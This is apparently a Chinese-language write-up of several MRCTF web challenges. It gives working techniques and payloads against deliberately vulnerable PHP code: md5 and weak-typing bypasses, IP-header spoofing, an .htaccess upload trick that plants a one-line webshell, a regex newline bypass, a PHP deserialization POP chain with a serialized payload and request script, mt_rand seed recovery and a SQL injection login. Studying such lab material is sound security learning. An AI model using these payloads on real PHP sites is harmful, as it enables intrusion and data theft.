Ez_bypass
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
第一步用到md5比較漏洞,當傳入的是一個數組時,經過md5函數返回NULL。
第二步用到php弱類型,1234567 == 1234567/1,最終payload
PYWebsite
<script>
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通過了驗證!");
window.location = "./flag.php"
}else{
alert("你的授權碼不正確!");
}
}else{
alert("請輸入授權碼");
}
}
</script>
這裏的md5是不可破解的,直接跳到flag.php,提示購買者ip已記錄,那麼xff
x-forwarded-for:127.0.0.1
你傳你🐎呢
這題比賽的時候fuzz,含php的全都被過濾了,能夠上傳的只有.htaccess、html、以及圖片。
-
Content-Type:image/jpeg繞過MIME類型驗證
-
.htaccess增加使用php解析的文件後綴.jpg
AddType application/x-httpd-php .jpg
-
寫個一句話圖片馬傳上去,菜刀連一下就行了
套娃
第一步
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!
在URL中GET請求當輸入.
或者(空格)或者
_
都會忽略,因此b_u_p_t
,其實就是b u p t
,正則的意思是必須要23333開頭和結尾,但是值不能爲23333,這個時候url的%0A爲換行污染,可以繞過正則,且值不爲23333。
http://041ffd2a-9df7-4736-ba94-c19f099a4232.node3.buuoj.cn/?b%20u%20p%20t=23333%0A
第二步
secrettw.php下有一段jsfuck,放到控制檯跑一下得到post me Merak
隨便post一個Merak=1,得到源代碼
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
首先要僞造本地用戶,xff被ban了可以用Client-IP代替
然後是要利用php://input傳2333的值,最後逆向加密腳本
<?php
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i]) - $i*2);
}
$result = base64_encode($result);
return $result;
}
echo en_code("flag.php");
?>
flag.php經過加密的值爲ZmpdYSZmXGI=
最終burp發包如下:
EzPop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化魔術方法
__construct()//當一個對象創建時被調用
__destruct() //當一個對象銷燬時被調用
__toString() //當一個對象被當作一個字符串使用
__sleep()//在對象在被序列化之前運行
__wakeup()//將在反序列化之後立即被調用(通過序列化對象元素個數不符來繞過)
__get()//獲得一個類的成員變量時調用
__set()//設置一個類的成員變量時調用
__invoke()//調用函數的方式調用一個對象時的迴應方法
__call()//當調用一個對象中的不能用的方法的時候就會執行這個函數
public、protected與private在序列化時的區別
protected 聲明的字段爲保護字段,在所聲明的類和該類的子類中可見,但在該類的對象實例中不可見。因此保護字段的字段名在序列化時,字段名前面會加上\0*\0
的前綴。這裏的 \0
表示 ASCII 碼爲 0 的字符(不可見字符),而不是 \0 組合。這也許解釋了,爲什麼如果直接在網址上,傳遞\0*\0username
會報錯,因爲實際上並不是\0
,只是用它來代替ASCII值爲0的字符。必須用python傳值纔可以。
pop鏈
如果想要讀取flag.php文件,可以使用include方法
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
爲了使用這個方法,必須激活__invoke()
方法,也就是將一個對象當作函數調用。爲了觸發它,可以使用__get()
方法,將p賦值爲一個類
public function __get($key){
$function = $this->p;
return $function();
}
而__get()
方法,是當類訪問類中的私有屬性或不存在的屬性時觸發,爲了調用__get()
方法,可以利用toString()
方法
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
當str賦值爲一個其他類的時候,因爲類中沒有source屬性,就會觸發__get()
方法。最後是觸發__toString()
方法,__toString()
方法默認在__wakeup()
方法觸發時調用,如果將source賦值爲一個類的時候,就會觸發__wakeup()
方法
POC
<?php
class Modifier
{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$a = new Show();
$a->source=$a;
$a->str=new Test();
$a->str->p=new Modifier();
echo serialize($a);
?>
最後用python傳值
import requests
url = 'http://fec60c93-1112-455e-ad28-60be4c276444.node3.buuoj.cn/?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"\0*\0var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}'
r = requests.get(url)
print(r.text)
也可以直接在url中把\0*\0
替換成%00*%00
http://fec60c93-1112-455e-ad28-60be4c276444.node3.buuoj.cn/?pop=O:4:%22Show%22:2:{s:6:%22source%22;r:1;s:3:%22str%22;O:4:%22Test%22:1:{s:1:%22p%22;O:8:%22Modifier%22:1:{s:6:%22%00*%00var%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}}}
base64解碼得到
<?php
class Flag{
private $flag= "flag{d57a102c-0ef2-4a94-8ff5-ec857c9aad49}";
}
echo "Help Me Find FLAG!";
?>
Ezaudit
拿ctfdict掃目錄找到了www.zip,源碼泄露
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若爲空,視爲未填寫,提示錯誤,並3秒後返回登錄界面
header('refresh:2; url=login.html');
echo "用戶名、密碼、密鑰不能爲空啦,crispr會讓你在2秒後跳轉到登錄界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒後跳轉到登錄界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
mt_rand() 使用 Mersenne Twister 算法返回隨機整數。
Public_key已經給了,現在是要推出私鑰
mt_rand()使用的是一個僞隨機序列,可以根據它生成的信息推出原來的種子
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
break
print(res)
得到36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
在php_mt_seed-4.0下還原seed1775196155
然後用這個種子結合題目給出的腳本生成Private_key
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>
得到Private_key爲:XuNhoueCDCGc
賬號:crispr
,密碼:'or '1'='1